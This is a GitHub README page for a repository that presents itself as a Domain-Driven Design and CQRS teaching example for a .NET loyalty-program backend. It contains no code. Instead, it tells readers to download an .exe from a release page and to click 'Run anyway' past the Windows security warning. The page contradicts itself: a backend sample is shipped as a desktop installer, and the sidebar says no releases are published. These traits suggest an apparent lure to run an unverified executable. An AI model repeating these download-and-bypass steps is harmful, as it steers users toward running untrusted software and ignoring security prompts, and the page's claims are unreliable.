Skip to content

taxercard577/ddd-by-example

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

12 Commits
Β 
Β 
Β 
Β 

Repository files navigation

πŸ—οΈ ddd-by-example - Master complex software design with ease

This project provides a working example of modern software design. It follows a loyalty program backend structure to show how professional developers build systems. You can use this code to learn technical patterns such as Domain-Driven Design, Clean Architecture, and CQRS.

πŸ“‹ What is this project?

The software demonstrates how to organize complex code. Many applications become difficult to manage as they grow. This project uses specific patterns to keep code clean and modular. A modular system is easier to test and change over time.

The software includes:

  • Clear separation of business rules and database code.
  • Instructions on how to process commands and queries.
  • Examples of entity management within a loyalty program.

πŸ’» System Requirements

Your computer must meet these settings to run the application:

  • Operating System: Windows 10 or Windows 11.
  • Memory: 4 GB of RAM minimum.
  • Processor: Dual-core CPU or better.
  • Storage: 500 MB of disk space.
  • Runtime: .NET 8.0 Desktop Runtime.

πŸš€ Setting up the application

Follow these steps to get the software running on your machine.

  1. Install the runtime. Download the .NET 8.0 Desktop Runtime from the official Microsoft website. Run the installer and follow the prompts on your screen. This step allows your computer to read the code logic.
  2. Visit the download page. Go to the official release page to access the files.
  3. Get the installer. Look for the most recent version under the "Assets" section. Click the file ending in .exe to save it to your computer.
  4. Launch the file. Double-click the saved file. Windows might show a security prompt. If this happens, click "More info" and select "Run anyway."
  5. Follow the setup. An installation window appears. Select your preferred folder and click install.

πŸ› οΈ Exploring the features

Once the application starts, you see a menu with various modules. Each module represents a different part of the loyalty program.

  • Member Module: This handles user profiles and points totals. It shows how the system validates new sign-ups.
  • Transaction Module: This logs every point adjustment. It demonstrates how to write data without corrupting the main system state.
  • Rules Module: This defines the logic for point collection. It shows how to swap business rules without changing the rest of the application.

If you want to view the source code, open the application folder. The project files follow a clean structure. The core logic resides in folders labeled with domain names. External tools like databases exist in separate sections. This layout helps you locate specific parts of the project without confusion.

πŸ” Understanding the technical patterns

This project uses three primary patterns. You can see these in the code folders:

  • Clean Architecture: This keeps the core logic separate from interface elements. It ensures your business rules remain stable regardless of the user interface.
  • CQRS: This splits the reading of data from the writing of data. It improves performance and makes the system easier to track.
  • Domain-Driven Design: This moves business language into the code. It helps developers and business owners speak the same language.

❓ Frequently Asked Questions

Does the software require a database server? No. This version includes an internal file-based system. You do not need to install additional database software.

Can I modify the code? Yes. Use a tool like Visual Studio Community to open the project files. The structure allows you to build upon the existing loyalty program to create your own features.

How do I update the software? Check the release page periodically. When a new version appears, download the latest installer and run it. The new version overwrites the old one while keeping your settings intact.

Where can I report errors? The GitHub project page includes an "Issues" tab. You can describe any problems you encounter there. Include a screenshot of the error message to help the volunteers understand the situation.

πŸ“– Further learning

The project includes a 3-part article series. These articles explain the theory behind the code. They provide context for why certain patterns function the way they do. Reading these articles creates a strong foundation for your own projects. Follow the links inside the project documentation to access the full text.

The project structure acts as a blueprint. You can copy this pattern for other enterprise software tasks. Focus on the folders labeled "Domain" to see how the business rules define the software behavior. This approach prevents common programming errors and keeps the codebase simple as requirements change.

About

Implement Domain-Driven Design patterns in a production-grade .NET loyalty program backend using CQRS and Clean Architecture principles.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors